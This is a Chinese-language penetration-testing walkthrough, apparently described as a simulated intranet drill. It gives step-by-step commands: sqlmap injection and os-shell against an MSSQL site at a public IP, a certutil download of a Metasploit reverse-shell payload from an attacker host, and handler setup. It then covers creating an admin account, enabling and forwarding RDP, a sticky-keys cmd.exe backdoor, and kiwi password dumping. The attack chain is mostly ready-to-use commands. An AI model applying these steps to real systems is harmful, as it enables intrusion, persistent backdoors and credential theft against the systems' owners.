内网渗透模拟演练：使用sqlmap对内网mssql提权与反弹shell
准备：假设内网有一台2003服务器(使用mssql数据库，存在注入点)，把网页服务80端口映射到防火墙8092端口，外网一台centos用来接收反弹shell
工具：sqlmap、msf、apache
一、访问映射到外网的8092端口，web服务器寻找注入点
测试页面存在注入点
使用sqlmap进行注入
sqlmap -u "http://61.136.208.30:8092/Content.aspx?ClassId=1&id=4" -p "id" --dbms "mssql"
注入成功，获取到了服务器信息
二、sqlmap提权
由于是mssql数据库，首先查看当前数据库用户
sqlmap -u "http://61.136.208.30:8092/Content.aspx?ClassId=1&id=4" -p "id" --dbms "mssql" --current-user
sa 用户，可以进行提权
sqlmap -u "http://61.136.208.30:8092/Content.aspx?ClassId=1&id=4" -p "id" --dbms "mssql" --os-shell
提权成功
三、由于是内网设备，采用反弹shell到我准备好的外网centos设备
centos搭建apache服务，用来装载反弹马给目标下载
yum install httpd -y
设置apache服务
systemctl start httpd
systemctl enable httpd
修改apache端口（默认80不要使用）
vim /etc/httpd/conf/httpd.conf
重启一下apache服务，手动查看一下端口情况，5555正常监听就没问题
service httpd restart
netstat -ant
主机win10手动访问一下搭建好的apache
这里遇到一点问题，无法访问网页服务，导致后续下载反弹马失败
原因可能是被centos防火墙拦截了。
查看防火墙状态
systemctl status firewalld.service
关闭防火墙服务
systemctl stop firewalld.service
禁止开机自启防火墙服务
systemctl disable firewalld.service
四、msf制作反弹马
外网centos服务器安装msf
由于下载的msf离线包是.deb后缀的，先下载dpkg工具
yum install dpkg
安装msf离线包
dpkg -i msf.deb
启动msf,使用payload模块制作反弹马
这里我们设置监听端口为外网ip，端口设置为1234
提示123.exe制作完成
将上一步做好的反弹马放到网站根目录
mv 123.exe /var/www/html/
五、msf监听
设置监听模块，
use exploit/multi/handler
设置与反弹马设置的端口和ip保持一致，并且需要手动设置payload
开启监听
六、sqlmap下载反弹马并执行
由于03服务器提权成功，sqlmap可以执行系统命令
下载centos准备好的反弹马
certutil -urlcache -split -f http://外网ip:5555/123.exe
补充知识点：
适用于server 2003以上版本，windows的环境下用命令行下载文件
certutil -urlcache -split -f http://192.168.203.140/文件名.exe
执行反弹马
C:\windows\system32\Blob0_0.bin
大概几秒钟后，msf捕获到反弹shell
执行shell命令后，即可执行系统命令，建立稳定连接
第二部分：支线任务
成功获取这台192.168.100.12权限后，继续进行内网渗透
-
新建用户，并添加到管理员组
net user admin admin /add
net localgroup Administrators admin /add
-
开启3389远程桌面端口
run getgui -e
提示使用另一条命令 try后面
run post/windows/manage/enable_rdp
提示完成
-
将3389进行端口映射，映射到centos的33890端口
portfwd add -l 33890 -r 192.168.100.2 -p 3389
-
远程桌面登录后，便于后续测试后门脚本
此时用主机win10就可以直接远程连接centos ip:33890
上传脚本文件到C：/
shell
CD \
1.bat
此时远程桌面登录框，连续按多次shift，即可触发粘连键，由于我们用1.bat将cmd.exe替换掉了粘连键程序，所以此时不需要登录，就已经可以执行cmd命令了
这时可以新建用户，添加组等操作
支线任务二：使用wiki模块获取用户密码
加载kiwi
creds_all
读取所有活动用户的密码
目的达到，执行2.bat，还原粘连键程序
